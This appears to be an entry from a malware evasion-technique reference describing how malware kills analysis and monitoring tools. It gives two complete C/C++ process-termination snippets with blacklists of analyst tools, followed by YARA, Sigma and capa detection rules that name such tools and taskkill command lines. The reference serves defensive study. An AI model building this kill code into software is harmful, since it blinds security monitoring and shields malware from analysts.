Kill Process

Created the Saturday 23 March 2019. Updated 1 year, 2 months ago.

Malware often employs techniques to evade detection and hinder the efforts of security experts in analyzing its behavior. One notable method involves terminating processes associated with anti-virus software or monitoring tools.

For example, malware may specifically target processes like wireshark.exe, ida.exe, or procmon.exe, which are frequently used by analysts to observe and scrutinize running processes on a system. By terminating these processes, malware effectively obstruct security experts from acquiring insight into its operations and impedes their ability to analyze its inner workings.

Technique Identifier

U0403

Technique Tags

Wireshark.exe Kill process Ida.exe Procmon.exe Disrupt monitoring

Featured Windows API's

Below, you will find a list of the most commonly used Windows API's that are currently utilized by malware authors for current evasion technique. This list is meant to provide an overview of the API's that are commonly used for this purpose. If there are any API's that you feel should be included on this list, please do not hesitate to contact us. We will be happy to update the list and provide any additional information or documentation that may be helpful.

Code Snippets

Description

Using the CreateToolhelp32Snapshot API, it is possible to list the running process and compare it with a blacklist to kill them.

#include <iostream>
#include <string>
#include <tchar.h>
#include <process.h>
#include <windows.h>
#include <tlhelp32.h>

using namespace std;

BOOL GetProcessList();
BOOL TerminateMyProcess(DWORD dwProcessId, UINT uExitCode);

int main( void )
{
  GetProcessList( );
  return 0;
}

BOOL GetProcessList( )
{
  HANDLE hProcessSnap;
  HANDLE hProcess;
  PROCESSENTRY32 pe32;
  DWORD dwPriorityClass;

  //Blacklisted processes
  LPSTR ProcessName[] = { "ida.Exe",
                          "ProcMon.exe",
                          "Olldbg.exe",
                          "Wireshark.exe",
                          "iexplore.exe"
                            };

  // Take a snapshot of processes
  hProcessSnap = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
  if( hProcessSnap == INVALID_HANDLE_VALUE )
  {
    return( FALSE );
  }

  pe32.dwSize = sizeof( PROCESSENTRY32 );

  if( !Process32First( hProcessSnap, &pe32 ) )
  {
    CloseHandle( hProcessSnap );
    return( FALSE );
  }

  do
  {
    string str(pe32.szExeFile);

    for (int i = 0; i < (sizeof(ProcessName) / sizeof(LPSTR)); i++)
    {
         if(str == ProcessName[i])
         {
             cout << "[*] processus exists: " << (ProcessName[i]) << endl;
             TerminateBlacklistedProcess(pe32.th32ProcessID, 1);
         }
    }
  } while( Process32Next( hProcessSnap, &pe32 ) );

  CloseHandle( hProcessSnap );
  return( TRUE );
}

// Terminate the blacklisted processes
BOOL TerminateBlacklistedProcess(DWORD dwProcessId, UINT uExitCode)
{
    DWORD dwDesiredAccess = PROCESS_TERMINATE;
    BOOL  bInheritHandle  = FALSE;
    HANDLE hProcess = OpenProcess(dwDesiredAccess, bInheritHandle, dwProcessId);
    if (hProcess == NULL)
        return FALSE;

    BOOL result = TerminateProcess(hProcess, uExitCode);

    CloseHandle(hProcess);

    return result;
}

About Author Open Snippet

Author: Thomas Roccia (fr0gger) / Target Platform: Windows

#include <iostream>
#include <Windows.h>
#include <Psapi.h>
#include <vector>
#include <TlHelp32.h>

#pragma comment(lib, "Psapi")
#pragma comment(lib,"ntdll.lib")

typedef NTSTATUS(NTAPI* _NtGetNextProcess)(
	_In_ HANDLE ProcessHandle,
	_In_ ACCESS_MASK DesiredAccess,
	_In_ ULONG HandleAttributes,
	_In_ ULONG Flags,
	_Out_ PHANDLE NewProcessHandle
	);

std::vector<std::string> procs =
{
	"ProcessHacker.exe", 
	"Wireshark.exe"
};

auto terminate_process() -> void
{
	HMODULE ntdll = GetModuleHandleA("ntdll.dll");
	HANDLE currp = nullptr;
	char buf[1024] = { 0 };

	_NtGetNextProcess NtGetNextProcess = (_NtGetNextProcess)GetProcAddress(ntdll, "NtGetNextProcess");

	for (int i = 0; i < procs.size(); i++) {
		do {
			GetModuleFileNameExA(currp, 0, buf, MAX_PATH);
			if (strstr(buf, procs[i].c_str()))
				TerminateProcess(currp, -1);
		} while (!NtGetNextProcess(currp, MAXIMUM_ALLOWED, 0, 0, &currp));
	}
}

int main()
{
	terminate_process();
	return 0;
}

About Author Open Snippet

Author: Ahmed / Target Platform: Windows

Detection Rules

rule UNPROTECT_disable_process {
    meta:
	author = "Thomas Roccia | @fr0gger_"
	description = "Disable blacklisted processes"
    strings:
        $api1 = "CreateToolhelp32Snapshot" nocase
        $api2 = "Process32First" nocase
        $api3 = "Process32Next" nocase
        $api4 = "TerminateProcess" nocase
        $api5 = "NtGetNextProcess" nocase
        $p1 = "taskkill.exe" nocase
        $p2 = "tskill.exe" nocase
    condition:
        uint32(uint32(0x3C)) == 0x4550 and 2 of ($api*) or any of ($p*) 
}

title: Kill multiple process
status: experimental
description: Kill multiple process
author: Joe Security
date: 2019-12-30
id: 200039
threatname:
behaviorgroup: 18
classification: 8
mitreattack:

logsource:
      category: process_creation
      product: windows
detection:
      selection:      
          CommandLine:
              - '*cmd*taskkill /f*& taskkill /f*& taskkill /f*& taskkill /f*& taskkill /f*& taskkill /f*& taskkill /f*'
      condition: selection
level: critical

rule:
  meta:
    name: reference analysis tools strings
    namespace: anti-analysis
    author: michael.hunhoff@fireeye.com
    scope: file
    mbc:
      - Discovery::Analysis Tool Discovery::Process Detection [B0013.001]
    references:
      - https://github.com/LordNoteworthy/al-khaser/blob/master/al-khaser/AntiAnalysis/process.cpp
    examples:
      - al-khaser_x86.exe_
  features:
    - or:
      - string: /ollydbg.exe/i
      - string: /ProcessHacker.exe/i
      - string: /tcpview.exe/i
      - string: /autoruns.exe/i
      - string: /autorunsc.exe/i
      - string: /filemon.exe/i
      - string: /procmon.exe/i
      - string: /regmon.exe/i
      - string: /procexp.exe/i
      - string: /idaq.exe/i
      - string: /idaq64.exe/i
      - string: /ImmunityDebugger.exe/i
      - string: /Wireshark.exe/i
      - string: /dumpcap.exe/i
      - string: /HookExplorer.exe/i
      - string: /ImportREC.exe/i
      - string: /PETools.exe/i
      - string: /LordPE.exe/i
      - string: /SysInspector.exe/i
      - string: /proc_analyzer.exe/i
      - string: /sysAnalyzer.exe/i
      - string: /sniff_hit.exe/i
      - string: /windbg.exe/i
      - string: /joeboxcontrol.exe/i
      - string: /joeboxserver.exe/i
      - string: /ResourceHacker.exe/i
      - string: /x32dbg.exe/i
      - string: /x64dbg.exe/i
      - string: /Fiddler.exe/i
      - string: /httpdebugger.exe/i
      - string: /fakenet.exe/i
      - string: /netmon.exe/i
      - string: /WPE PRO.exe/i
      - string: /decompile.exe/i

Additional Resources

External Links

The resources provided below are associated links that will give you even more detailed information and research on current evasion technique. It is important to note that, while these resources may be helpful, it is important to exercise caution when following external links. As always, be careful when clicking on links from unknown sources, as they may lead to malicious content.

Coinminer Comes with a Process "Kill List" to Keep Competitors at Bay

Matching Samples 10 most recent

Sample Name	Matching Techniques	First Seen	Last Seen
br1.dll	10	2024-12-03	2 weeks, 1 day ago
satan_ransomware.exe	10	2024-11-30	2 weeks, 4 days ago
EDR Silencer 1.4.exe	8	2024-11-29	2 weeks, 5 days ago
Xulytaikhoan.xlsx	14	2024-11-26	3 weeks, 1 day ago
procexp.exe	6	2024-11-21	3 weeks, 5 days ago
cfcb85ddfe25f093feb249d4004d...064da7e9ed119971859c61817f1f	7	2024-11-19	4 weeks, 1 day ago
57e0cadabe82b0c02a5d4606b0a3...6672d88e5a1ea4651969392c290b	12	2024-11-19	4 weeks, 1 day ago
315194f647f925de53ce6f014d64...9fb23070d253276b626a132557e8	10	2024-11-19	4 weeks, 1 day ago
2a0592dc54fd5450c78dc3184d07...3551f3210d6a334bdd8f28d6e9f1	9	2024-11-19	4 weeks, 1 day ago
23b1971659b16e186f9e1b36d8bc...e512b346e78f77dc314503aac59a	13	2024-11-19	4 weeks, 1 day ago

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